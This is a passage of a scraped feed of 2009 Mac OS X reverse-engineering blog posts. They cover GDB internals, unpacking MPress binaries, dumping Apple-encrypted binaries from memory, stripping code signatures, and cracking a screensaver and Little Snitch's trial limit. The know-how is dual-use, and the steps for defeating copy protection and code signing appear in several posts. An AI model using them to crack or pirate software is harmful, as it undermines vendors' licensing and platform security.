\u0026#34;i386-apple-darwin\u0026#34;... \u0026#34;./segment_command_number_of_sections_antidebug\u0026#34;: not in executable format: File format not recognized gdb$ r No executable file specified. Use the \u0026#34;file\u0026#34; or \u0026#34;exec-file\u0026#34; command. GDB can’t work with this modified executable file so the anti-debug trick is doing its job very well. Bfd is GDB component responsible for parsing the file headers and other stuff. It has its own directory at GDB source and you can find there many files related to the different formats it can parse. The mach-o.c should be naturally our main target and the error message the starting point. After a few attempts at inserting debug messages and many compilations, I finally managed to trace where the error was happening. As usual, this is the flow:\n(\u0026hellip;) bfd_mach_o_scan_read_command -\u0026gt; bfd_mach_o_scan_read_segment_32 -\u0026gt; bfd_mach_o_scan_read_segment -\u0026gt; bfd_mach_o_scan_read_section -\u0026gt; bfd_mach_o_scan_read_section_32\nThe important piece of code at bfd_mach_o_sca_read_command is:\ncase BFD_MACH_O_LC_SEGMENT: if (bfd_mach_o_scan_read_segment_32 (abfd, command) != 0) return -1; break; Returning -1 signals an error and sets prints the error message that will be displayed by bfd_set_error (bfd_error_file_not_recognized); @ format.c (still at bfd directory). There are two instances of this function call - I used a few simple printf to find which one was used (simple tricks always work best). The next important piece of code is located at bfd_mach_o_scan_read_segment. Printfs were used once again to confirm the correct piece of code.\nfor (i = 0; i \u0026lt; seg-\u0026gt;nsects; i++) { bfd_vma segoff; if (wide) segoff = command-\u0026gt;offset + 64 + 8 + (i * 80); else segoff = command-\u0026gt;offset + 48 + 8 + (i * 68); if (bfd_mach_o_scan_read_section(abfd, \u0026amp;seg-\u0026gt;sections[i], segoff, wide) != 0) return -1; } That was the return responsible for the error message. I modified it to 0 and voila, GDB worked without a problem. Time to go deeper into bfd_mach_o_scan_read_section_32. This function had two return -1 instances, so printf to the rescue and the first one is the guilty piece of code.\nstatic int bfd_mach_o_scan_read_section_32 (bfd *abfd, bfd_mach_o_section *section, bfd_vma offset) { unsigned char buf[68]; bfd_seek (abfd, offset, SEEK_SET); if (bfd_bread ((PTR) buf, 68, abfd) != 68) return -1; (...) If bfd_read can’t retrieve 68 bytes, then it’s an error\u0026hellip; Once again, I used printfs (this is getting annoying hehe) to check what offset and what sizes were read and returned. That made clear that failure was due to less than expected retrieved bytes. Let me get back to bfd_mach_o_scan_read_segment to resume the problem.\nfor (i = 0; i \u0026lt; seg-\u0026gt;nsects; i++) { bfd_vma segoff; if (wide) segoff = command-\u0026gt;offset + 64 + 8 + (i * 80); else segoff = command-\u0026gt;offset + 48 + 8 + (i * 68); if (bfd_mach_o_scan_read_section(abfd, \u0026amp;seg-\u0026gt;sections[i], segoff, wide) != 0) return -1; } seg-\u0026gt;nsects holds the number of sections from the header. So if the header says it has 1000 sections, this routine will try to read 1000 sections. I’m pretty sure you can now spot the problem! In reality the executable doesn’t have 1000 sections so the routine will keep reading things outside the header. If the program size is less than the size that will be read by the routine, then an error will be raised (by that small piece of code that expects 68 bytes). In reality the anti-debug trick doesn’t require the number of sections to be 0xFFFFFFFF but just large enough to be bigger than the program size or not be evenly divisible by 68 bytes. Of course 0xFFFFFFFF is the best bet but it’s not the only value that works.\nI’m not sure if nemo knew this or just fuzzed the header (most probably he knew since he rules) but I had a lot of fun tracking this bug/problem!\nThe problem here is that GDB blindly trusts the information from the Mach-O header. This is bad design from a security point of view. You shouldn’t trust external input! GDB should parse the whole file and verify if the information is true and consistent with the header, else it opens the door for this kind of tricks. An easy workaround to avoid the error is to check if the size given from the number of sections is compatible with the executable size. It’s a lame workaround but it saves you from editing the binary and fixing the header. Yes, I’m a bit lazy sometimes but I do believe that computers exist to do the work for me 😉.\nAbout the raw bytes disassembly display, have a look at this example:\nBreakpoint 1, 0x000023f0 in ?? () --------------------------------------------------------------------------[regs] EAX: 000023F0 EBX: 00001000 ECX: 00000001 EDX: 00000000 o d I t S z A P c ESI: 00000000 EDI: 00000000 EBP: 00000000 ESP: BFFFF8D4 EIP: 000023F0 CS: 0017 DS: 001F ES: 001F FS: 0000 GS: 0037 SS: 001F --------------------------------------------------------------------------[code] 0x23f0: 6a 00 push 0x0 0x23f2: 89 e5 mov ebp,esp 0x23f4: 83 e4 f0 and esp,0xfffffff0 0x23f7: 83 ec 10 sub esp,0x10 0x23fa: 8b 5d 04 mov ebx,DWORD PTR [ebp+0x4] 0x23fd: 89 5c 24 00 mov DWORD PTR [esp+0x0],ebx 0x2401: 8d 4d 08 lea ecx,[ebp+0x8] 0x2404: 89 4c 24 04 mov DWORD PTR [esp+0x4],ecx -------------------------------------------------------------------------------- I will post the patches and whole source package soon.\nAs usual, have fun!\nfG!\n","permalink":"https://reverse.put.as/2009/08/13/anatomy-of-a-gdb-anti-debug-trick/","summary":"Well, it seems this is the GDB post season! The past days have been dedicated to mess around with GDB source code and today I have what I think it’s a nice story to tell.\nAfter hacking off my old wish of having the disassembly raw bytes to be printed (like Ollydbg, Softice, IDA, otx, etc\u0026hellip;) I was interested in trying to fix one anti-debug trick. This presentation by nemo shows an anti-debug trick that works against GDB and others.","title":"Anatomy of a GDB anti-debug trick"},{"content":"It’s not a breakthrough post but I finally found where the bug that messed up gdbinit is located. I got obsessed into this problem and started browsing GDB source code. I knew that the problem ocurred when the file or add-symbol commands were used. The difference from file to exec-file is that symbols are loaded so that was my starting point. This was more or less my flow:\nfile -\u0026gt; file_command -\u0026gt; symbol_file_command -\u0026gt; symbol_file_add_main_1 -\u0026gt; symbol_file_add_name_with_addrs_or_offsets -\u0026gt; symbol_file_add_with_addrs_or_offsets -\u0026gt; symbol_file_add_with_addrs_or_offsets_using_objfile -\u0026gt; new_symfile_objfile -\u0026gt; clear_symtab_users -\u0026gt; clear_internalvars\nI started commenting out each call of that flow and then test if I was at the correct path. I have to say that GDB code is a plain mess! It’s damn hard to follow. BLAH!\nSo well, the function that gives problems is clear_internalvars. The name is very explicit. The description from value.c is Free all internalvars. Done when new symtabs are loaded, because that makes the values invalid.. This explains why all variables from gdbinit disappear. Comment or delete that function call and problem is fixed. Recompile and voila (https://reverse.put.as/2009/01/14/how-to-compile-gdb-and-other-apple-open-source-packages-in-mac-os-x/).\nSince things are much easier to analyse after you understand the problem, let’s compare Apple’s GDB code with some late version of GNU\u0026rsquo;s GDB.\nApple’s GDB version 768 (GNU 6.3.50) (src/gdb/symfile.c):\nvoid clear_symtab_users (void) { /* Someday, we should do better than this, by only blowing away the things that really need to be blown. */ /* Clear the \u0026#34;current\u0026#34; symtab first, because it is no longer valid. breakpoint_re_set may try to access the current symtab. */ clear_current_source_symtab_and_line (); clear_value_history (); clear_displays (); clear_internalvars (); /* APPLE LOCAL breakpoints (remove reset) */ set_default_breakpoint (0, 0, 0, 0); clear_pc_function_cache (); if (deprecated_target_new_objfile_hook) deprecated_target_new_objfile_hook (NULL); } GNU\u0026rsquo;s GDB version 6.8 (src/gdb/symfile.c):\nvoid clear_symtab_users (void) { /* Someday, we should do better than this, by only blowing away the things that really need to be blown. */ /* Clear the \u0026#34;current\u0026#34; symtab first, because it is no longer valid. breakpoint_re_set may try to access the current symtab. */ clear_current_source_symtab_and_line (); clear_displays (); breakpoint_re_set (); set_default_breakpoint (0, 0, 0, 0); clear_pc_function_cache (); observer_notify_new_objfile (NULL); /* Clear globals which might have pointed into a removed objfile. FIXME: It\u0026#39;s not clear which of these are supposed to persist between expressions and which ought to be reset each time. */ expression_context_block = NULL; innermost_block = NULL; /* Varobj may refer to old symbols, perform a cleanup. */ varobj_invalidate (); } Knowing all this, it’s very easy to find the entry at the change log (I tried this before looking at the code, but it’s very hard when you don’t know what you are looking for):\n2006-02-01 Daniel Jacobowitz (...) * symfile.c (reread_symbols): Likewise. (clear_symtab_users): Remove calls to clear_value_history and clear_internalvars. * value.c (clear_value_history, clear_internalvars): Removed. (...) This changes and a lot more were never ported back to Apple’s version\u0026hellip; The same happens with security bugs that Apple doesn’t fix or takes too much time to fix in the open source software Apple forks!\nAnd that’s it! Very simple problem which shows how hard is to fork and keep things up to date. One less problem obsessing my mind!\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2009/08/10/fix-for-apples-gdb-bug-or-why-apple-forks-are-bad/","summary":"It’s not a breakthrough post but I finally found where the bug that messed up gdbinit is located. I got obsessed into this problem and started browsing GDB source code. I knew that the problem ocurred when the file or add-symbol commands were used. The difference from file to exec-file is that symbols are loaded so that was my starting point. This was more or less my flow:\nfile -\u0026gt; file_command -\u0026gt; symbol_file_command -\u0026gt; symbol_file_add_main_1 -\u0026gt; symbol_file_add_name_with_addrs_or_offsets -\u0026gt; symbol_file_add_with_addrs_or_offsets -\u0026gt; symbol_file_add_with_addrs_or_offsets_using_objfile -\u0026gt; new_symfile_objfile -\u0026gt; clear_symtab_users -\u0026gt; clear_internalvars","title":"Fix for Apple’s GDB bug or why Apple forks are bad..."},{"content":"I had unconsciously found the workaround a few months ago while hacking around Little Snitch with kernel debugging. To make things easier I had a small GDB script to call the debug kit macros and set all the variables that are the source of the problem with gdbinit. This was something I never thought about, just accepted it.\nToday, while answering to a comment, the connection was made inside my brain (I love how the brain works!) and I decided to test it. And voila, it worked!\nThe workaround is as simple as reloading gdbinit. You just need to issue the command source ~/.gdbinit after GDB is started either with gdb target_to_debug or inside GDB by using the file command.\nAnd that’s it, simple things work best!\nfG!\n","permalink":"https://reverse.put.as/2009/08/06/workaround-for-apples-gdb-bug/","summary":"I had unconsciously found the workaround a few months ago while hacking around Little Snitch with kernel debugging. To make things easier I had a small GDB script to call the debug kit macros and set all the variables that are the source of the problem with gdbinit. This was something I never thought about, just accepted it.\nToday, while answering to a comment, the connection was made inside my brain (I love how the brain works!","title":"Workaround for Apple’s GDB bug..."},{"content":"Greetings !\nFor the past weeks I have been pretty much bored with any kind of reversing so all my projects are stopped. Today I decided to fix some bugs at gdbinit and the result is version 7.1.7. The assemble command is finally fixed, added some semi-useful commands and changed some colours. Nothing big 😄.\nBlackhat USA 2009 had a very interesting presentation about hacking Apple’s keyboard firmware updates. The paper and presentation are really very nice and create a very interesting attack vector. If you can’t trust your keyboard then it’s very difficult to trust the whole system (if not impossible)! Grab the paper here and the presentation here. Dino’s presentation about advanced OS X rootkits is interesting too. Check the whole archive here.\nThat’s it for now. Let’s see if I can get back to my projects and release something before I get back to school! I was accepted to the MBA program, so next year will be dedicated to school. Of course I hope to have some free time to keep posting some crap.\nYours,\nfG!\ngdbinit717\nSHA1(gdbinit717)= 1f0536488d72930d39a3d0fa191ab688aaf7446d\nThe latest version can always be found here.\n","permalink":"https://reverse.put.as/2009/08/05/gdbinit-7-1-7-and-some-bla-bla-bla/","summary":"Greetings !\nFor the past weeks I have been pretty much bored with any kind of reversing so all my projects are stopped. Today I decided to fix some bugs at gdbinit and the result is version 7.1.7. The assemble command is finally fixed, added some semi-useful commands and changed some colours. Nothing big 😄.\nBlackhat USA 2009 had a very interesting presentation about hacking Apple’s keyboard firmware updates. The paper and presentation are really very nice and create a very interesting attack vector.","title":"gdbinit 7.1.7 and some bla bla bla..."},{"content":"Since otool and otx can’t disassemble the packed binary, Andreas Gumundsson wrote a quick tool to do that job, using Udis86, a disassembler library for x86 and AMD64. Check the source to see the required compiler options.\nExample usage:\n$ ./disas -f mmpress.i386 -t macho | head -10 Found entrypoint inmemory address 0xd6b0 NCMDS 2 CMD 1 Looking in __MPRESS__v.1.21 Found entrypoint file offset 0x36b0 sub ebx, ebx mov edi, ebx call 0xd6b9 pop eax add eax, 0x27c Original source available here, and a local copy here.\nBy the way, Blackhat USA and DEFCON will have a few OS X related presentations! Good luck to Ghalen on his presentation about Runtime kernel patching (I started exploring this subject but since I’m a lame ass coder I couldn’t finish it hehehehe! Glad he did it so I can try to implement some ideas I had).\nfG!\n","permalink":"https://reverse.put.as/2009/07/23/a-little-disassembler-for-mpress-packer/","summary":"Since otool and otx can’t disassemble the packed binary, Andreas Gumundsson wrote a quick tool to do that job, using Udis86, a disassembler library for x86 and AMD64. Check the source to see the required compiler options.\nExample usage:\n$ ./disas -f mmpress.i386 -t macho | head -10 Found entrypoint inmemory address 0xd6b0 NCMDS 2 CMD 1 Looking in __MPRESS__v.1.21 Found entrypoint file offset 0x36b0 sub ebx, ebx mov edi, ebx call 0xd6b9 pop eax add eax, 0x27c Original source available here, and a local copy here.","title":"A little disassembler for MPress packer..."},{"content":"Someone at macserialjunkie board posted a problem with the mpress packer. Since packers are a pretty rare thing at OS X and I was bored, I decided to give it a quick look. The result is another tutorial about manually unpacking this kind of binary. It’s not hard and the packer isn’t that great.\nObjective-C binaries can be dumped but there is a problem with NIB references, I think. I was already investigating this problem with other dumping experiences. Some other stuff must be fixed before Objective-C binaries dumps can be used. If you have any hint about this, please do tell me!\nIf something isn’t clear or it’s missing, feel free to leave a comment so everyone can enjoy it.\nThat’s it for now! Enjoy!\nfG!\nmmpress-packer.txt\nSHA1(mmpress-packer.txt)= 15e701176bade752a0cfb00735a20255a0acabd4\n","permalink":"https://reverse.put.as/2009/07/22/how-to-dump-a-mpress-packed-binary/","summary":"Someone at macserialjunkie board posted a problem with the mpress packer. Since packers are a pretty rare thing at OS X and I was bored, I decided to give it a quick look. The result is another tutorial about manually unpacking this kind of binary. It’s not hard and the packer isn’t that great.\nObjective-C binaries can be dumped but there is a problem with NIB references, I think. I was already investigating this problem with other dumping experiences.","title":"How to dump a MPress packed binary..."},{"content":"Here it is, another example of my super l33t lame coding skills! This wonder code will decrypt an Apple crypted binary via memory dumping. Maybe direct decryption (based on Amit Singh code) would be easier and nicer, but I wanted to do it this way as a test and an exercise. The code has a lot of comments that should help you understand what is being done.\nBasically the trick is to load the binary and attach ptrace to it, and then dump using mach vm_read function. Mach-O header needs to be processed to find what to dump! There is no problem with ptrace anti-debugging because PT_TRACE_ME stops the program before any instruction is executed and in that stage the program is already decrypted (way to go Apple!). I had to use ptrace because I couldn’t find a way to have mach\u0026rsquo;s task_suspend to do the same job. If you know how, please tell me 😄.\nMy first version attached to a selected PID but this one is much nicer. I will clean the code for that version and add it later.\nAnd that’s it! This is more an exercise for future dumpers although there is some software using this \u0026ldquo;protection\u0026rdquo; (hint: Linkinus). If you want to play with it, you can use Amit Singh’s cryptor that is linked in the previous post.\nIf you find any bugs or have any improvement feel free to leave a comment or mail me. You are welcome 😃. I have no idea if it’s working with PPC code. It should but I only have i386.\nHave fun!\nfG!\nAnd now the tool:\ndumpme_ptrace.c\nSHA1(dumpme_ptrace.c)= 36231d436b0fd09c68fd729ccd34fcec887700a9\nUpdate:\nHere it is the PID version and a slightly improved ptrace version (more checks and a openssl style for input/output files).\ndumpme_ptracev1.1.c\nSHA1(dumpme_ptracev1.1.c)= 7e441d9277e00f1c6570001305921820a4985468\ndumpme.c\nSHA1(dumpme.c)= f3d353f532219efcfcfa87affb3b8474d7ff7e66\nUpdate 2:\nMinor fixes.\nPer Jez suggestion (thanks!), vm_read dynamically allocates an array of bytes (next time I must RTFM!) and vm_deallocate should be used after we don’t need those bytes.\nNothing like learning how to do things correctly.\ndumpme_ptracev1.2.c\nSHA1(dumpme_ptracev1.2.c)= a7d35cf7ff8705b1da91c36aa9309a66079c0d91\ndumpmev1.1.c\nSHA1(dumpmev1.1.c)= e1aba84eeae70663dc3580165d867e96c0770254\n","permalink":"https://reverse.put.as/2009/07/08/a-memory-dumper-for-apple-crypted-binaries-hurray/","summary":"Here it is, another example of my super l33t lame coding skills! This wonder code will decrypt an Apple crypted binary via memory dumping. Maybe direct decryption (based on Amit Singh code) would be easier and nicer, but I wanted to do it this way as a test and an exercise. The code has a lot of comments that should help you understand what is being done.\nBasically the trick is to load the binary and attach ptrace to it, and then dump using mach vm_read function.","title":"A memory dumper for Apple crypted binaries! Hurray !!!"},{"content":"From the department of useless stuff comes a simple trick…\nA few days ago, a reader sent me an email asking about obfuscated code, in what appeared to be Apple’s binary protection. I already knew this Amit Singh article, but never played with it. Since I’m very curious (I love cats but Onyx still doesn’t like me very much) and I’m messing around with dumping, I decided to give it a try. This Pedram Amini article is about iPhone apps but I was pretty sure the same technique would work for OS X (to be honest, last week I was playing with something else and already applied this technique with sucess).\nTo cut the crap and show some juice, the needed steps are:\nLoad the app into GDB (or attach to the already running process). Just let the app load and then break into GDB with control-c (if you are starting from GDB). Check with vmmap the memory region for the __TEXT segment for the program you want to dump. Dump that memory region to a file using GDB dump memory command. Write the memory dump into the original file (you must replace the original __TEXT segment with the dumped one). You can use copy \u0026amp; paste inside an hex editor (that’s what I did), or you can use Pedram trick with dd (that’s what I should have done, DUH). Don’t forget to calculate the correct offset for the __TEXT segment (beware fat binaries). My first approach was to dump the whole program, when in reality only the __TEXT segment is required. Hey, it was a quick test and I give it a little thought while getting ready to write this :). Fix the flags for LC_SEGMENT/__TEXT from 0x8 to 0x0 (else it will still try to decrypt the binary and the result will be garbage and a nice crash). That’s it 😃. Now you can do whatever you want to the program code. It shouldn’t be very hard to code a program to automatically dump and fix the binary. You can use the mach interface to attach and dump the memory region you want, and then replace and fix the original binary. There is some sample code around (I think by Nemo), and I have some tests somewhere at my disk. Can’t find the damn code at the moment. That’s what I get for having too much stuff and still can’t organize all of it. Maybe I will try to code such tool.\nIf you have any questions feel free to leave a comment or mail me (comments are prefered since everyone can share information). I think it’s pretty easy to do this trick, not rocket science! The curious detail is that the reader’s program is not from Apple. I don’t know how they managed to have it crypted or how the binaries are signed. Didn’t bothered yet to understand the process. Do you know something about it?\nHave fun,\nfG!\nUpdate:\nThis is how we can create Apple crypted binaries, http://osxbook.com/book/bonus/chapter7/tpmdrmmyth/.\nMystery solved 😄.\n","permalink":"https://reverse.put.as/2009/06/30/how-to-dump-an-apple-protected-binary/","summary":"From the department of useless stuff comes a simple trick…\nA few days ago, a reader sent me an email asking about obfuscated code, in what appeared to be Apple’s binary protection. I already knew this Amit Singh article, but never played with it. Since I’m very curious (I love cats but Onyx still doesn’t like me very much) and I’m messing around with dumping, I decided to give it a try.","title":"How to dump an Apple protected binary"},{"content":"A few months ago while discussing with some user about code signing (PTHPasteboard project), I had the idea to \u0026ldquo;revirgin\u0026rdquo; the code signed binary by removing the Mach-O LC_CODE_SIGNATURE command. As usual with my many ideas, I never explored that one, until today when I received an email asking about this idea. I decided to give it a try. My code is a simple Hello world, compiled for i386 only. After binary is compiled, I sign it with my test certificate and mark the process to be killed if code signing fails. Let me show you the differences:\nWithout code sign: hello: Mach header magic cputype cpusubtype caps filetype ncmds sizeofcmds flags 0xfeedface 7 3 0x00 2 12 960 0x00000085 With code sign: hello.codesign: Mach header magic cputype cpusubtype caps filetype ncmds sizeofcmds flags 0xfeedface 7 3 0x00 2 13 976 0x00000085 The extra command is the LC_CODE_SIGNATURE. Here it is:\nLoad command 12 cmd LC_CODE_SIGNATURE cmdsize 16 dataoff 12592 datasize 5232 I went checking the code for my offset.pl (I tried to comment it since I know I forget these things) and the simplest idea ocurred to me. If it’s an extra command, why not reduce the number of commands and hope that the loader will ignore that extra one? It’s simple to try and worth the shot!\nLoad 0xEd and modify one byte (World to Wolld) and try to run the modified signed binary. Process is killed! Code signing is working. Now let’s change the number of commands back to 12. Since it’s a i386 binary I don’t have to mess with fat headers so the ncmds is 20 bytes head the beginning of the program. Modify 0xD to 0xC, save and launch the program! Voila, it runs! This simple technique works!\nNext step is to modify offset.pl into a new util called removecodesign.pl. It’s pretty damn easy, calculate offset where ncmds is (support for fat binaries of course!), read it, subtract one, write it back to the binary and re-read again to make sure everything went ok. Tool is ready to be tested, so let’s launch it against a copy of the original signed binary and what happens? It is killed! What the hell??!?!?!?!?\nLoad the modified binary into an hex editor to make sure my modification is correct (you know, I suck at coding :X) and yes it is\u0026hellip; This is weird\u0026hellip;\nDo some tests and it still doesn’t work! Maybe my initial test had some problem. Redo initial test and it works. Generate the SHA1 checksum for the modified binary. With 0xEd, modify ncmds to the original value and test if it works. It does\u0026hellip; Modify again ncmds to 12. Test if it works and it does! Generate the SHA1 checksum for this modified binary and it’s the same! The not working binary and the working binary have the same checksum! A user at the IRC channel suggests it could be mtime or other flags. Verify everything with stat, no differences. Maybe perl is messing up, so write a quick patcher in C. Same result! Hummmm this is weird. There is some pattern here. To understand if I’m right, load HexFiend (another hex editor) and edit another copy and test if it works. NO, it doesn’t. Load VMware, download a trial of WinHex and modify another copy but, it still doesn’t work.\nResult: the trick results if 0xEd is used! At this moment I cannot understand why this is happening. All checksums match, so there’s no byte difference between working and non working copies. Right now I have no ideas to solve this (I’m pretty sure I will cook up something while distracted with something else), so is anyone out there who knows about this or has any other ideas? I must be missing some small detail (been a loooong week!).\nI’m already trying to understand where to patch the kernel to remove the code sign check (you never know when this might be useful 😄).\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2009/05/29/removing-apple-code-signing-from-a-binary/","summary":"A few months ago while discussing with some user about code signing (PTHPasteboard project), I had the idea to \u0026ldquo;revirgin\u0026rdquo; the code signed binary by removing the Mach-O LC_CODE_SIGNATURE command. As usual with my many ideas, I never explored that one, until today when I received an email asking about this idea. I decided to give it a try. My code is a simple Hello world, compiled for i386 only. After binary is compiled, I sign it with my test certificate and mark the process to be killed if code signing fails.","title":"\"Removing\" Apple code signing from a binary..."},{"content":"There are days I \u0026ldquo;hate\u0026rdquo; my obsessive and curious mind! The day I was checking Apple Just added downloads feed and found this nice screensaver is one of those.\n3D Desktop Aquarium Screensaver (available at http://www.uselesscreations.com) grabbed my attention because it looks nice and I love fishes. As usual, I started poking around and decided I had to crack it because I never did a screensaver before.\nThe result is another tutorial 😄. It’s not a step by step clear and simple tutorial but you should be able to do something useful with it (or maybe not). Buy the screensaver if you really like it and use it!\nAnd now, back to my GMAT study, my mind has one less thing to process in parallel.\nHave fun,\nfG!\nFiles:\nscreensavertutorial.txt (SHA1(screensavertutorial.txt)= 00934ce1f2f637dbd85165a35eae0ca61d7697b0)\ndesktopaquarium3dsstrial.dmg (SHA1(DesktopAquarium3DSS.Trial.dmg)= ef39ae42d2f0920d9bfc17309da265e8573f20cc)\nP.S.: Line breaks are messed up so you should see the tutorial with a text editor and not with the browser. Sorry too lazy to fix it now.\n","permalink":"https://reverse.put.as/2009/04/16/cracking-a-mac-os-x-screensaver/","summary":"There are days I \u0026ldquo;hate\u0026rdquo; my obsessive and curious mind! The day I was checking Apple Just added downloads feed and found this nice screensaver is one of those.\n3D Desktop Aquarium Screensaver (available at http://www.uselesscreations.com) grabbed my attention because it looks nice and I love fishes. As usual, I started poking around and decided I had to crack it because I never did a screensaver before.\nThe result is another tutorial 😄.","title":"Cracking a Mac OS X Screensaver"},{"content":"While cleaning my hard disk I have found a zip file with a few old Mac OS X cracking tuts. Most are for PPC but they are still useful for learning reversing techniques.\nGrab it here: tuts.zip (SHA1(tuts.zip)= 3a0e1729e811deb7b7e8e19e0d6a61c9e3831b84)\nMy free time is almost zero since GMAT study is taking every second I have (well, Afro Samurai/The Godfather 2 are taking something too).\nA score higher than 700 is not an easy task.\nHave fun!\nfG!\n","permalink":"https://reverse.put.as/2009/04/07/a-bunch-of-old-tutorials/","summary":"While cleaning my hard disk I have found a zip file with a few old Mac OS X cracking tuts. Most are for PPC but they are still useful for learning reversing techniques.\nGrab it here: tuts.zip (SHA1(tuts.zip)= 3a0e1729e811deb7b7e8e19e0d6a61c9e3831b84)\nMy free time is almost zero since GMAT study is taking every second I have (well, Afro Samurai/The Godfather 2 are taking something too).\nA score higher than 700 is not an easy task.","title":"A bunch of old tutorials..."},{"content":"I have managed to bypass Little Snitch 3 hour limit with a one or two bytes patch (can’t remember and too lazy to check it now) three days after I had access to kernel debugging. A very well designed protection (at least it’s a pain to analyse) was defeated because there was a weak element (there is always at least one weak element) and I easily found it.\nI have emailed OBDev about this and asked if they would allow me to publish details. They replied asking me not to publish my finding because that could hurt their product sales. I will respect their decision (else I wouldn’t ask for it) and not publish any details regarding this finding. The only thing I can say is that the weak element is into the kernel driver they install. So have fun doing some kernel debugging. If you manage to bypass it, please don’t publish it, I think they deserve it.\nThis takes me to something I wanted to write about a long time ago, piracy ! Check these posts:\nhttp://landonf.bikemonkey.org/code/iphone/iPhone_Piracy.20090106.html\nhttp://jrtb.com/blog/a-conversation-with-an-iphone-pirate\nhttp://kellogsosx.blogspot.com/2008/09/why-i-dont-pay-for-software-and-why.html\nThe second link has a lengthy discussion about this subject. Keep in mind that most of it is related to iPhone apps, these having some specifics like lack of demos but we can generalize the discussion. There are a few arguments but I think most of them aren’t strong enough, be in pro-piracy or against it. It’s a common mistake to say that a pirated copy is a lost sale because most people wouldn’t even use the program if it wasn’t pirated. Saying piracy allows you to try and buy is another mistake in most cases (most software has decent demos that allow you to fully evaluate it). Lack of monetary resources and need to use that specific piece of software could be a better argument. If people start by using pirated software and then buy it, then it seems a good deal. But we all know that humans are greedy and most will not do this because that would mean less money in the pocket. There are companies with terrible support and not buying their software is a way to tell them something is wrong\u0026hellip;\nI don’t think there is a consensus into the effects of piracy. Most studies are from the side who have interest in reducing piracy and so they are skewed in favour of their arguments. Just look at the RIAA/MPAA bullshit!\nI know very well the warez world. Most people there don’t have an economic purpose, meaning to earn money with it. Most do it because they can, because it’s fun and because you learn lots of things. Groups release because it’s a competition to see who can spit out more stuff, who can win the title of best and most respected group. This is the side I identify with. I do it for fun and for learning. Publishing details has a side effect, but the discussion of full disclosure is a long one. The benefits from full disclosure are bigger than its costs.\nWhat to do with the information I publish here is a personal choice. But it’s a big mistake to think that censorship will remove the problem. Years ago, before the Internet, information was a privilege of a few, today it’s available to everyone. You can’t stop information flow and that’s why I think full disclosure is better than no disclosure. Copy protections can be beaten with more or less effort. Years ago, stack overflows were easy to take profit from. Today technology advanced (because there was a big incentive to it) and exploit coding is a much harder task. I hope this blog can give a little contribution for advances in Mac OS X copyright protections. Piracy is a side effect I can live with. Someone else out there can do it, I’m not the only one with such knowledge. Again, it’s a personal choice.\nConclusion: buy Little Snitch or other software, if you really use it, can afford to buy it and company/author supports the product!\nfG!\n","permalink":"https://reverse.put.as/2009/03/27/defeating-little-snitch-and-thinking-about-piracy/","summary":"I have managed to bypass Little Snitch 3 hour limit with a one or two bytes patch (can’t remember and too lazy to check it now) three days after I had access to kernel debugging. A very well designed protection (at least it’s a pain to analyse) was defeated because there was a weak element (there is always at least one weak element) and I easily found it.\nI have emailed OBDev about this and asked if they would allow me to publish details.","title":"Defeating Little Snitch and thinking about piracy..."},{"content":"Version 0.3 is here. A couple small bugs are fixed, module features can be controled via sysctl variables (enable or disable features) and code is split into different source files (it was a mess in a single file!). Tiger support is removed so it’s ready to work with Leopard 10.5.6. Check the README file for more info.\nAs a bonus I discovered that DTrace equivalent to PT_DENY_ATTACH is P_LNOATTACH, and is bypassed due to our ptrace hijack. Didn’t knew about this one 😄. Check the source of antidebug.c to understand why this happens.\nCode:\nonyx-the-black-cat-v0-3.tgz\n(SHA1(onyx-the-black-cat-v0-3.tgz)= 194c2e7481113b562c6e23a2b5059769bc9e8ffb)\n","permalink":"https://reverse.put.as/2009/03/25/onyx-the-black-cat-v03/","summary":"Version 0.3 is here. A couple small bugs are fixed, module features can be controled via sysctl variables (enable or disable features) and code is split into different source files (it was a mess in a single file!). Tiger support is removed so it’s ready to work with Leopard 10.5.6. Check the README file for more info.\nAs a bonus I discovered that DTrace equivalent to PT_DENY_ATTACH is P_LNOATTACH, and is bypassed due to our ptrace hijack.","title":"Onyx The Black Cat v0.3"},{"content":"I made a mistake in this tutorial! The way to calculate offsets to patch is wrong because I commited an inference error (analysed only a few binaries and assumed it to be correct). Found this while creating a program to calculate everything automatically. Check the code if you are interested in understanding how it’s done. Meanwhile I will update the tutorial\u0026hellip;\nWithout any further delays, I present you with Binary offset calculator. This little program will give you the correct offset to load into the hexeditor, for fat binaries or i386 only binaries. Only 32 bits binaries are supported (for now I don’t think there are any 64 bit binaries, maybe for Snow Leopard release) and calculated offset is for i386 part.\nA small example:\n$ otx /bin/ls | more /bin/ls: md5: af07b42f06eb72336317a1d23c7c4557 (__TEXT,__text) section +0 000023f0 6a00 pushl $0x00 (...) This is the first line of ls command disassembly list. Assume we want to patch that first instruction. To calculate it’s offset we can use my program:\n$ ./offset.pl /bin/ls 23f0 Mach-o Binary Offset Calculator v1.1 ..................................... (c) 2009 fG! - http://reverse.put.as - reverse@put.as Found a Mach-O fat binary with 2 architectures! Finding i386 base address... Reading Mach Header... Real offset to be patched is: 0x23f0 Now you just need to load the hexeditor and go to offset 0x23f0. In this case there is a coincidence with the address from disassembly output, but play with it and you will see it’s not always like that! If you want to see more info from the binary just edit the code and change the debug variable.\nIf you find any bugs leave a comment 🙂\nfG!\noffset.pl.gz\n(SHA1(offset.pl)= 5da4ab22ef82c7f7d4740541410e31590990db3e)\nP.S.: New version updated to support PPC binaries.\n$ ./offset.pl /bin/ls 16a4 ppc Mach-o Binary Offset Calculator v1.2 ..................................... (c) 2009 fG! - http://reverse.put.as - reverse@put.as Found a Mach-O fat binary with 2 architectures! Finding i386 and PPC base address... Reading Mach Header... Real offset to be patched: 0xa6a4 Grab it here: offset1.2.pl.gz\n(SHA1(offset.pl)= c5d8a11cfb1728747835ca92eb42ca74d01d1ef5)\n","permalink":"https://reverse.put.as/2009/03/13/mach-o-binary-offset-calculator/","summary":"I made a mistake in this tutorial! The way to calculate offsets to patch is wrong because I commited an inference error (analysed only a few binaries and assumed it to be correct). Found this while creating a program to calculate everything automatically. Check the code if you are interested in understanding how it’s done. Meanwhile I will update the tutorial\u0026hellip;\nWithout any further delays, I present you with Binary offset calculator.","title":"Mach-O binary offset calculator"},{"content":"Just look at this:\nI just got Little Snitch to keep working even with network filter being off (that should be equivalent to expired 3 hour trial). The game is still not over because only the Once button is working but it seems I have my entry point 😄.\nLittle Snitch works by using a socket filter (Apple document here) installed when kernel module starts (Correction: Little Snitch kernel module is an IOKit driver and not a simple kernel extension). This filter is not removed when the we stop/start Little Snitch network filter so we can abuse it’s condition check (that’s what I did here).\nThat’s it\u0026hellip; for 